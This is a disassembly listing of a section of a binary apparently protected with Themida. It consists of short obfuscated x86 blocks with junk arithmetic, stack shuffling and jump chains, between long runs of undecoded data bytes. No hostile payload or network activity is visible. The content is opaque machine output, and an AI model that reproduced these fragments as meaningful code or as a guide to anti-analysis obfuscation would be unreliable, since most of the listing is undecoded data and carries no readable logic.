loc_5890BA:				; CODE XREF: Themida_:0058FCAFj
		mov	ecx, 200h
		push	ecx
		add	dword ptr [esp], 725C104Ch
		pop	edx
		sub	edx, 725C104Ch
		pop	ecx
		jmp	loc_588B2E
; ---------------------------------------------------------------------------
		dd 0E95D5E55h, 0FFFFB95Eh, 0F7FD875Eh, 5D5755D7h, 9E9E9h
		dd 12F68100h, 1216202h,	0E9F1h,	815E0000h, 4C1h, 240C8700h
		dd 241C875Ch, 3024248Bh, 0E99C2404h, 0FFFFB363h
dword_589110	dd 9C241CF6h, 0FFB35AE9h, 243C8BFFh, 8104C483h,	0E43D75EAh
					; DATA XREF: Themida_:00584420o
		dd 41EA816Bh, 1676F58h,	41C281C2h, 0E9676F58h, 315Ch, 2C3815Ch
		dd 87000000h, 50E9241Ch, 81FFFFCFh, 5F3901C5h, 24148B40h
		dd 8104C483h, 4EDh, 0D5E8E900h,	0E981FFFFh, 0BB210765h
		dd 8959CE89h, 51E95EF7h, 1000060h, 0C38358C3h, 241C8702h
		dd 0FFBDE5E9h, 241431FFh, 8B241433h, 4892424h, 0B2E5E924h
		dd 0C581FFFFh, 4, 0E904C583h, 3760h, 0FFB2D2E9h, 2434FFFFh
		dd 56AEE9h, 2434FF00h, 4C48358h, 2706BE56h, 0F0293D77h
		dd 8324348Bh, 85E904C4h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5891C3:				; CODE XREF: Themida_:00584574j
					; Themida_:0058726Dj ...
		sub	esp, 4
		mov	[esp], ebx
		mov	eax, [esp]
		push	eax
		sub	esp, 4
		jmp	loc_58D3DE
; ---------------------------------------------------------------------------
aLiYsS		db '¾«i<YéÛs',0
		dw 8100h
		dd 4C7h, 243C8700h, 6624248Bh, 0F0B05052h, 5358C288h, 0DA308FB3h
		dd 637E95Bh, 0C4830000h, 0DAF65904h, 2C38C280h,	53D028D9h
		dd 8FE9B3B7h, 0E900000Ch, 0FFFFB25Bh, 0E904C483h, 1084h
		dd 0E904C483h, 4317h, 7C87B6BDh, 5DEA897Fh, 4334F505h
		dd 17BFE90Ah, 0E9500000h, 44E8h, 0B5240C89h, 88B45001h
		dd 8005E4C0h, 0C4FEF2CCh, 0ECC0CCFEh, 0CC8CE902h
		db 2 dup(0FFh)
word_58925A	dw 8B66h		; DATA XREF: Themida_:00584210o
		dd 0EC81240Ch, 4, 68241C89h, 1237h, 83242489h, 8B042404h
		dd 0C483241Ch, 0A8E95104h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58927F:				; CODE XREF: Themida_:0058D61Aj
		push	ebx
		xchg	ebx, [esp]
		jmp	loc_58BC73
; ---------------------------------------------------------------------------
aVs		db 'Vé',9,27h,0
		align 2
		dw 0E1D1h
		dd 4D49E181h, 0F7492782h, 0F5BB53D1h, 0C17F1048h, 0DBF707EBh
		dd 3541F381h, 0DBF72BE0h, 2A1B951h, 0CB3121ACh,	0FC50E959h
		dd 3C33FFFFh, 0B24CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5892C2:				; CODE XREF: Themida_:0058E190j
		and	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_584AEF
; ---------------------------------------------------------------------------
		dd 53240489h, 0BBCBF57h, 0FB897B07h, 3A46E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5892DE:				; CODE XREF: Themida_:0058E0E9j
		mov	[esp], eax
		jmp	loc_584E49
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 81000000h, 0A3363AC5h, 1FC58111h, 1135164h, 1FED81FDh
		dd 81135164h, 0A3363AEDh, 243C8B11h, 4C481h, 2C870000h
		dd 32C7E924h
		db 2 dup(0)
word_589316	dw 8B66h		; DATA XREF: Themida_:005842F4o
		dd 83572404h, 248904ECh, 0D32CE924h
		db 2 dup(0FFh)
word_589326	dw 8B66h		; DATA XREF: Themida_:005841C8o
		dd 0AB682404h, 8900006Bh, 0AD682414h, 89000037h, 4812424h
		dd 424h, 2434FF00h, 30B0E9h, 815A5400h,	4C2h, 4C28100h
		dd 33000000h, 28E92414h, 0FF00002Dh, 0BFE92434h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_589367:				; CODE XREF: Themida_:005899D8j
		pop	ebp
		or	eax, eax
		jz	loc_59006F
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 3D5D00D5h
		sub	ebx, 4DF03724h
		or	ebx, 26C5556Ah
		jmp	loc_58DB0E
; ---------------------------------------------------------------------------
		db 31h
		dd 2C33242Ch, 14895C24h, 0B0C9E924h, 0EC83FFFFh, 0BA74E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5893B2:				; CODE XREF: Themida_:00586B8Ej
		push	dword ptr [esp+4]
		jmp	loc_58A452
; ---------------------------------------------------------------------------
		db 51h
		dd 11E6E9h, 33BF5700h, 89020619h, 0D9215FFBh, 15F1815Bh
		dd 14FD27Dh, 8E2D59C8h,	0E914521Dh, 0FFFFEBD2h,	0C181E189h
		dd 4, 5A65E9h, 4EC8300h, 0BB241C89h, 5E304C58h,	0A5E9564Bh
		dd 87000066h, 8B5C2434h, 0C4812404h, 4,	4B60E9h, 0FFFFBE00h
		dd 0F529FFFFh, 0DEB8505Eh, 0C123911Eh, 0D0E907E8h, 66000008h
		dd 5324048Bh, 0FAE9E389h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_589433:				; CODE XREF: Themida_:0058BC29j
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_58EB11
		push	dword ptr [edi+1Ch]
		push	3FE4h
		mov	[esp], edx
		push	ecx
		jmp	loc_58B0C7
; ---------------------------------------------------------------------------
aIiss		db 'ˆëé‘:',0
		align 4


loc_589464:				; CODE XREF: Themida_:005894ADj
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		jmp	loc_5869D0
; ---------------------------------------------------------------------------
dword_58947C	dd 0B60F6664h, 4E9FE902h		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589486:				; CODE XREF: Themida_:00586092j
		inc	esi
		not	esi
		sub	esi, 0A44193EAh
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edi, 0A171E3F3h
		and	eax, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_589464
; ---------------------------------------------------------------------------


loc_5894B2:				; CODE XREF: Themida_:00588EFBj
		xor	edi, ebx
		pop	ebx
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_587ED9
; ---------------------------------------------------------------------------
aH51ieySIs1	db 'h51‰eYÁá',8,'Ié1>',0
		dd 8BFB0100h, 8952243Ch, 4C281E2h, 0E9000000h, 0FFFFF297h
; ---------------------------------------------------------------------------


loc_5894E4:				; CODE XREF: Themida_:00590132j
		mov	eax, [esp]
		jmp	loc_58CF38
; ---------------------------------------------------------------------------


loc_5894EC:				; CODE XREF: Themida_:005865E9j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	27DBh
		jmp	loc_58CB33
; ---------------------------------------------------------------------------
byte_589503	db 0FFh			; DATA XREF: Themida_:00584198o
		dd 34FF3C77h, 6CE95824h, 8B000005h, 4292424h, 58E99C24h
		dd 8BFFFFAFh, 20E9241Ch, 0BF00006Ch, 11CB07DDh,	12D0C781h
		dd 3AE90CA0h, 61000070h, 38E9C39Dh
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58953B:				; CODE XREF: Themida_:00586624j
		pop	esi
		jmp	loc_58D91F
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 64h
		dd 0E280E2D0h, 3E2C0B1h, 0FFD55AE9h, 43A8BDFFh,	0C1450E12h
		dd 0DDF702E5h, 0F158ED81h, 0EF01C7B6h, 0B7E3E95Dh
		db 2 dup(0FFh)
word_58956A	dw 8B66h		; DATA XREF: Themida_:005841DCo
		dd 7B682404h, 89000004h, 0E389241Ch, 354D68h, 3787E900h
		dd 4810000h, 424h, 0C3815B00h, 4, 3304C383h, 0D8E9241Ch
		dd 8100005Bh, 6707FAF6h, 1BE9524Bh, 80FFFFCBh, 80E9D3C3h
		dd 89FFFFBCh, 0E952241Ch, 29E8h
; ---------------------------------------------------------------------------


loc_5895B8:				; CODE XREF: Themida_:00590533j
		add	esi, ecx
		pop	ecx
		jmp	loc_590162
; ---------------------------------------------------------------------------
aIS8		db '‰<$é8',8,0
		align 4


loc_5895C8:				; CODE XREF: Themida_:0058D088j
		push	68C9h
		jmp	loc_58DF1E
; ---------------------------------------------------------------------------
word_5895D2	dw 30ACh		; DATA XREF: Themida_:00584290o
		dd 2EC81D8h, 66000000h,	68241489h, 1703h, 53240C89h, 88A9B551h
		dd 240C8BEBh, 6BCBE9h, 244C2900h, 815A5904h, 194729C2h
		dd 0FF15E977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589606:				; CODE XREF: Themida_:0058D413j
		add	esi, 4
		push	7575h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_585A75
; ---------------------------------------------------------------------------
		dd offset dword_4D677C+15ECh
		dw 8900h
		dd 4832424h, 30E90424h,	89000012h, 35BF57E1h, 0E9109A3Fh
		dd 48FBh, 0EB81EB01h, 51F81789h, 5D2434FFh, 0DCE6E950h
		dd 335AFFFFh, 0C31240Ch, 6CC2E924h
		db 2 dup(0)
word_58965A	dw 77FFh		; DATA XREF: Themida_:005843E8o
		dd 58669D1Ch, 9C240410h, 0FFAE0AE9h
		db 0FFh
byte_589669	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00584340o
		dd 0E92434FFh, 60C5h, 0E902C483h, 0FFFFEBA5h
dword_58967C	dd 0FF2434FFh, 525A2434h, 55E9E289h, 56000012h,	2BEh, 0B22E900h
					; DATA XREF: Themida_:005842D0o
		dd 2C890000h, 2C8B5424h, 4C48324h, 4BF57h, 0DEE90000h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5896AB:				; CODE XREF: Themida_:0058C80Cj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58EFBF
; ---------------------------------------------------------------------------
		db 81h
		dd 0D84181EEh, 24048B72h, 4C481h, 0BF570000h, 139C5F2Dh
		dd 5F29EF81h, 0FE01139Ch, 9DBE95Fh, 0BF350000h,	181D124h
		dd 9DE958C1h, 1FFFFF1h,	1F22DF8h, 55F3914h, 4, 8B240487h
		dd 0EF812424h, 17C43413h, 0CE63E957h, 0EC83FFFFh, 241C8904h
		dd 4BA52h, 5B520000h, 0E924148Bh, 2A74h, 112CE981h, 0C15D284Ch
		dd 0E98102E1h, 2052E032h, 34FFC831h, 54515924h,	4C18159h
		dd 0E9000000h, 0FFFFE33Bh, 2CC5815Bh, 816A3D3Ch, 0D33FD7C5h
		dd 81CD014Eh, 0D33FD7EDh, 0DFE9564Eh, 0FF00000Dh, 515A2434h
		dd 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFFE3A1h, 0D3F6D5B3h
		dd 8061EB80h, 0EB80C9EBh, 5BD98822h, 5966CE00h,	508BF680h
		dd 0CF3468B0h, 0FE04E0C0h, 0E8B753C8h, 0E7C0D7F6h, 95EF8007h
		dd 50B4E9h, 0EF835D00h,	6C3F6804h, 3C890000h, 2474FF24h
		dd 48F5F04h, 24248B24h,	89240C89h, 4C181E1h, 57000000h
		dd 469BE9h, 34FF5D00h, 23685A24h, 89000000h, 58542404h
		dd 405h, 40500h, 0FF500000h, 58042474h,	8B24048Fh, 3CE92424h
		dd 59FFFFE8h, 5DE9DE01h, 68FFFFBFh, 3492h, 0BD242C89h
		dd 0
		dd 0EA89D529h, 46BF575Dh, 4F56E912h, 0FFD19BE9h, 5CEE81FFh
		dd 0C1024D65h, 9DE908E6h, 5600004Fh, 0FFEBBBE9h, 0E9D300FFh
		dd 0FFFFAF2Ch, 8904EC83h, 0B450240Ch, 3BB6525Dh, 3092F680h
		dd 0CDE95AF4h, 45000045h, 3834E9h, 0B4E95800h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58985F:				; CODE XREF: Themida_:00585C06j
		add	ebp, esi
		add	ebp, 32C15CCh
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_585A4B
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 42474FFh, 24048F5Eh,	0F24248Bh, 0E868C8BFh, 89000072h
		dd 0DCE9240Ch
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589897:				; CODE XREF: Themida_:0058EB0Cj
		add	esp, 4
		jmp	loc_5865DA
; ---------------------------------------------------------------------------


loc_5898A2:				; CODE XREF: Themida_:00586723j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_58E0E1
; ---------------------------------------------------------------------------


loc_5898AB:				; CODE XREF: Themida_:0058B43Aj
		mov	eax, 3A13495Bh
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_584974
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0FFD05AE9h, 2CD000FFh, 0CDA2E95Eh, 3C33FFFFh, 243C3124h
		dd 5C243C33h, 68242C89h, 76Fh, 24048F54h, 4240481h, 5D000000h
		dd 4C581h, 0C5810000h, 4, 31242C33h, 2C33242Ch,	0C4835C24h
		dd 2434FF04h, 6824048Bh, 68DDh,	68241C89h, 0E0Ah, 614FE9h
		dd 0FDCF8100h, 8100E71Bh, 133EDC7h, 0CC30E928h
		db 2 dup(0FFh)
word_589946	dw 8B66h		; DATA XREF: Themida_:005843FCo
		dd 83572404h, 8F5404ECh, 0EC812404h, 4,	1DD4E9h, 2C28300h
		dd 2474FF52h, 24148B04h, 8F04C483h, 248B2404h, 0F1F76624h
		dd 32DA68h, 24148900h, 51E08950h, 0BD2311B9h, 8E9C160h
		dd 4104E1C1h, 0D22DE981h, 0C801060Bh, 4E88359h,	0D51E9h
		db 0
byte_58999D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005843F0o
aS_5		db '$é[^',0
		align 2
		dw 0EC81h
		dd 4, 4524E9h, 2E98B900h, 56513E44h, 42474FFh, 24048F5Eh
		dd 0FFD721E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5899C5:				; CODE XREF: Themida_:0058A9F4j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 80000h
		and	eax, ebp
		jmp	loc_589367
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 0E9h
		dd 1345h, 4C681h, 34870000h, 24248B24h,	57E08950h, 20549BFh
		dd 45EF8107h, 1070205h,	42D5FF8h, 33000000h, 4312404h
		dd 24043324h, 2404895Ch, 0BB240481h, 8B50DF29h,	0C4832404h
		dd 68555104h, 19E31A5Ch, 3DE8E9h, 40C18100h, 0E92DC762h
		dd 5AAFh
; ---------------------------------------------------------------------------


loc_589A38:				; CODE XREF: Themida_:0058782Ej
		xchg	ebx, [esp]
		pop	esp
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		mov	eax, [esp]
		jmp	loc_58BCF1
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 87000000h, 0E95C243Ch, 608Dh, 4C381h, 10E90000h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_589A67:				; CODE XREF: Themida_:005845A3j
		mov	edi, [esp]
		add	esp, 4
		add	[edi+24h], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_588B71
; ---------------------------------------------------------------------------
		db 68h
		dd 3DD4h, 89241C89h, 565256E3h,	0FFDC66E9h, 0C1815AFFh
		dd 2, 0E9240C87h, 36EEh, 0E6C1DEF7h, 14F75604h,	0E6D15E24h
		dd 85E9D6F7h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589AAF:				; CODE XREF: Themida_:0058CA51j
		shr	edx, 5
		shr	edx, 1
		dec	edx
		xor	edx, 2C5C5DFAh
		push	edi
		mov	edi, 2C3213ACh
		sub	edi, 18250481h
		jmp	loc_58A489
; ---------------------------------------------------------------------------
		dd 0A9A1E95Ch, 0C15FFFFFh, 0ED8102E5h, 789D77C8h, 0E8E9EE01h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589AE3:				; CODE XREF: Themida_:0058BC0Fj
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_585509
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 51000000h, 0E956E189h, 56A6h, 4BAh, 0FFD30100h, 575A2434h
		dd 0C781E789h, 4, 4C781h, 0FF570000h, 5F042474h, 0E924048Fh
		dd 0FFFFF614h, 0D5E9F130h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589B2B:				; CODE XREF: Themida_:0058FEDDj
		pop	ecx
		push	704Ch
		mov	[esp], edi
		push	764Dh
		mov	[esp], edx
		mov	edx, 48BE500Dh
		push	ebp
		mov	ebp, 56E5CE5h
		sub	ebp, 315D1B47h
		and	ebp, 0C690874h
		jmp	loc_58CEAF
; ---------------------------------------------------------------------------
		dd 5C242C87h, 4244401h,	4244481h, 3E5B641Bh, 0FFFCECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589B6D:				; CODE XREF: Themida_:0058C9ADj
		and	ecx, 2BC320CEh
		sub	ecx, 95B4DA55h
		jmp	loc_58B870
; ---------------------------------------------------------------------------


loc_589B7E:				; CODE XREF: Themida_:00588A4Cj
		xchg	ebp, [esp]
		pop	esp
		movsx	cx, al
		jmp	loc_588AAE
; ---------------------------------------------------------------------------


loc_589B8B:				; CODE XREF: Themida_:00589FACj
		mov	[esp], eax
		push	edi
		mov	edi, 631653F1h
		xor	edi, 49084C18h
		sub	edi, 1BDE74DFh
		neg	edi
		add	edi, 792F726Ah
		jmp	loc_584EFF
; ---------------------------------------------------------------------------


loc_589BAD:				; CODE XREF: Themida_:0058E6D1j
		add	ebp, 7C171F8Fh
		shr	ebp, 4
		jmp	loc_588568
; ---------------------------------------------------------------------------


loc_589BBB:				; CODE XREF: Themida_:0058C04Bj
		mov	[esp], eax
		jmp	loc_58A8BB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 3304C183h, 0F5E9240Ch, 81000057h, 303A8CF7h,	2C37E93Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589BDA:				; CODE XREF: Themida_:0058FF1Aj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_58D3FA
; ---------------------------------------------------------------------------
aYqps8d		db 'YQPé8D',0
		db 0
byte_589BEF	db 0FFh			; DATA XREF: Themida_:005842A4o
		dd 669D1C77h, 24041858h, 0A875E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589BFE:				; CODE XREF: Themida_:0058C6FAj
		mov	[esp], edi
		push	eax
		mov	eax, 3B890651h
		jmp	loc_58A480
; ---------------------------------------------------------------------------
		dd 6B242C81h, 0E97A8D51h, 4F8h
; ---------------------------------------------------------------------------


loc_589C18:				; CODE XREF: Themida_:0058840Aj
		add	edx, 4
		jmp	loc_58FAE1
; ---------------------------------------------------------------------------
		db 5Ch
		dd 457FAD2Dh, 0D47AE972h, 0C680FFFFh, 0AAC680C0h, 66F0005Bh
		dd 5324148Bh, 0C381E389h, 4, 8702C383h,	805C241Ch, 0B05007EBh
		dd 0F0BBE9E7h, 0BB53FFFFh, 2, 335BDE01h, 0E0E92434h, 0FE000063h
		dd 7DE980C9h, 6859C828h, 21EBh,	0FFF5C7E9h, 5FFE89FFh
		dd 4247431h, 5624348Bh,	24348B54h, 8104C483h, 4C6h, 4C68300h
		dd 0FFF766E9h, 4EC81FFh, 0E9000000h, 0FFFFF91Ch, 5504C483h
		dd 292F47BDh, 0C1E5D16Dh, 0F58104E5h, 0B356720h, 1EE9D5F7h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589CBF:				; CODE XREF: Themida_:0058FB6Ej
		mov	[esp], esi
		mov	esi, 437F344Ah
		xor	ebx, esi
		mov	esi, [esp]
		jmp	loc_587075
; ---------------------------------------------------------------------------


loc_589CD1:				; CODE XREF: Themida_:00587868j
		sub	ebp, 66713B30h
		shl	ebp, 2
		xor	ebp, 0E79A1593h
		mov	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	ecx, 276A7B5Ch
		jmp	loc_590308
; ---------------------------------------------------------------------------
		db 5
		dd 2BEB09EFh, 0F2AD6F35h, 8BC53125h, 0C4812404h, 4, 3740EE81h
		dd 0EE010B92h, 1F88E9h,	5BDE3100h, 3B69BA52h, 0D6011DB5h
		dd 0E9F5015Ah, 0FFFFF3B0h
; ---------------------------------------------------------------------------


loc_589D2C:				; CODE XREF: Themida_:00590433j
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_58CF55
; ---------------------------------------------------------------------------
		db 54h
		dd 0FFBCDFE9h, 0A731E9FFh, 2489FFFFh, 24048124h, 4, 5124048Fh
		dd 4B9h, 244C0100h, 1C8B5904h, 4C48324h, 8685350h, 5B7F4044h
		dd 1DD2F381h, 0D8893F60h, 8E8C15Bh, 200CE9h
		db 0
; ---------------------------------------------------------------------------


loc_589D79:				; CODE XREF: Themida_:00587A17j
		mov	[esp], ecx
		jmp	loc_5904D6
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0F5BFE952h, 5304FFFFh, 5F56E9h, 0CD5BE00h, 8DE91E67h
		dd 83FFFFDCh, 0C38104C4h, 4, 4BD55h, 0BE560000h, 675B7C64h
		dd 1256E9h, 24148B00h, 0FFBB31E9h, 0E83058FFh, 592434FFh
		dd 54EE9h, 241C8B00h, 0E904C483h, 0FFFFB97Eh
; ---------------------------------------------------------------------------


loc_589DD4:				; CODE XREF: Themida_:0058F485j
		mov	edx, 4
		add	ecx, edx
		jmp	loc_58FCFA
; ---------------------------------------------------------------------------
		dd 49E9D1F7h, 8100002Bh, 0EE0EF8C1h, 0E9CA8907h, 0FFFFCCF2h
		dd 241CF650h, 0E90F3458h, 51B5h, 42474FFh, 24048F5Fh, 8124248Bh
		dd 4C4h, 68F1F700h, 3ECCh, 50241489h, 0A651E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589E22:				; CODE XREF: Themida_:0058758Aj
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58FCAE
; ---------------------------------------------------------------------------


loc_589E33:				; CODE XREF: Themida_:0058C5F3j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1
		push	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 34600664h
		mov	eax, 34600688h
		sub	eax, ecx
		pop	ecx
		sub	eax, 6C3542B4h
		add	eax, edi
		push	6026h
		mov	[esp], esi
		mov	esi, 5B377309h
		sub	esi, 1EC65B0Eh
		sub	esi, 0D03BD547h
		add	eax, esi
		pop	esi
		add	[eax], ecx
		jmp	loc_5882B8
; ---------------------------------------------------------------------------
aRsD		db 'Ré¼D',0
		align 4
		dd 148BD501h, 1F4AE924h, 0C7FE0000h, 0DBEF80h, 34FF5BF8h
		dd 0C4835A24h, 6B45004h, 0B5EB80h, 528AE9E3h, 0B3350000h
		dd 48661A0Fh, 0A349B72Dh, 58C601F2h, 0E9F30159h, 1053h
		dd 240C8B54h, 4C481h, 68560000h, 28346369h, 3E6C15Eh, 0FFF6AEE9h
		dd 5DEB89FFh, 0FFB9C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589EF5:				; CODE XREF: Themida_:005901E7j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59014B
; ---------------------------------------------------------------------------
		dd 7F6C64BEh, 5EF101E4h, 159CD89h, 0C7815DEFh, 2, 31243C33h
		dd 78E9243Ch, 100000Ah,	0F65E9D0h, 0C3FE0000h, 0DBF6CBFEh
		dd 0F380E3D0h, 5BD800D1h, 24BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_589F4D:				; CODE XREF: Themida_:0058EF25j
		pop	ecx
		mov	ebx, esi
		pop	esi
		add	ebx, 0ECF3B5B7h
		add	edx, ebx
		pop	ebx
		push	7765h
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_58D499
; ---------------------------------------------------------------------------


loc_589F72:				; CODE XREF: Themida_:00585275j
		neg	ebp
		not	ebp
		neg	ebp
		jmp	loc_585828
; ---------------------------------------------------------------------------
		db 5Dh,	8Fh, 4
aHlm		db '$\hlm',0
		dw 8900h
		dd 0E4E92404h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589F8F:				; CODE XREF: Themida_:00587914j
		pop	eax
		sub	eax, 2C861353h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		shl	eax, cl
		push	ebp
		push	6B39h
		jmp	loc_589B8B
; ---------------------------------------------------------------------------


loc_589FB1:				; CODE XREF: Themida_:0058FC9Aj
		sub	edi, edx
		sub	edi, 1BF67C3Ch
		push	dword ptr [esp]
		pop	edx
		jmp	loc_584554
; ---------------------------------------------------------------------------


loc_589FC2:				; CODE XREF: Themida_:0058BF4Ej
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_58BC41
; ---------------------------------------------------------------------------


loc_589FE1:				; CODE XREF: Themida_:0058B3E5j
		xor	dl, bl
		jmp	loc_58B0BB
; ---------------------------------------------------------------------------
		dd 5C243C33h, 3C8BFE21h, 4C48324h, 0EE81D6F7h, 0B62EB4B2h
		dd 575EF031h, 26F9E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A006:				; CODE XREF: Themida_:0058DD8Bj
		pop	eax
		jmp	loc_58D3B7
; ---------------------------------------------------------------------------


loc_58A00C:				; CODE XREF: Themida_:00586B25j
		mov	eax, 3FCB4CADh
		neg	eax
		jmp	loc_5852A0
; ---------------------------------------------------------------------------
		dd 0FFA456E9h, 4C381FFh, 87000000h, 248B241Ch, 2404FF24h
		dd 0A441E99Ch, 0FA29FFFFh, 3CBCB850h, 0C229461Fh, 0B9515F58h
		dd 5BFF2C33h, 0AA24E941h
		db 2 dup(0FFh)
word_58A04A	dw 32FFh		; DATA XREF: Themida_:00584410o
		dd 0FFA422E9h, 0E28952FFh, 5C29E9h, 86E95D00h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A05F:				; CODE XREF: Themida_:0058A68Cj
		pop	esp
		mov	[esp], ebx
		mov	bh, al
		push	eax
		push	edi
		jmp	loc_58A789
; ---------------------------------------------------------------------------
		dd 4EE81h, 34870000h, 24248B24h, 0E9240C89h, 585Bh, 4C48158h
		dd 53000000h, 526666B7h, 51BFE9h, 4C38100h, 83000000h
		dd 1C8704EBh, 24248B24h, 68241489h, 1461h, 62C68h, 0B7A8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A0B2:				; CODE XREF: Themida_:005862B2j
		xor	eax, edi
		jmp	loc_58A17D
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 33243431h, 248B2434h, 24048B24h, 26A568h, 24148900h
		dd 0BE565A54h, 4, 6D5468h, 242C8900h, 0C865AABDh, 0E9EA2916h
		dd 2B0Ah, 56241C8Bh, 36FBE9h, 0C7A6800h, 0C890000h, 50A1B124h
		dd 29ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_58A105:				; CODE XREF: Themida_:0058ED11j
		push	edi
		mov	edi, 4
		jmp	loc_5900E1
; ---------------------------------------------------------------------------
		dd 81008Fh, 7A8D516Bh, 0E92434FFh, 0AB7h, 0C281E289h, 4
		dd 4EC81h, 34890000h, 4BE24h, 0F2010000h, 74FF525Eh, 8F5A0424h
		dd 2AE92404h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_59075E
; ---------------------------------------------------------------------------
byte_58A14F	db 66h			; DATA XREF: Themida_:00584218o
		dd 0E924048Bh, 5569h, 0EF8006B7h, 66D7F601h, 66373268h
		dd 0B0240489h, 66C708C0h, 5724048Bh, 0C781E789h, 4, 0FFA89EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A17D:				; CODE XREF: Themida_:0058A0B4j
		xor	edi, eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, edi
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_588F72
; ---------------------------------------------------------------------------
		dd 0A5E9D989h, 81FFFFF5h, 42404h, 0E95B0000h, 0FFFFAA65h
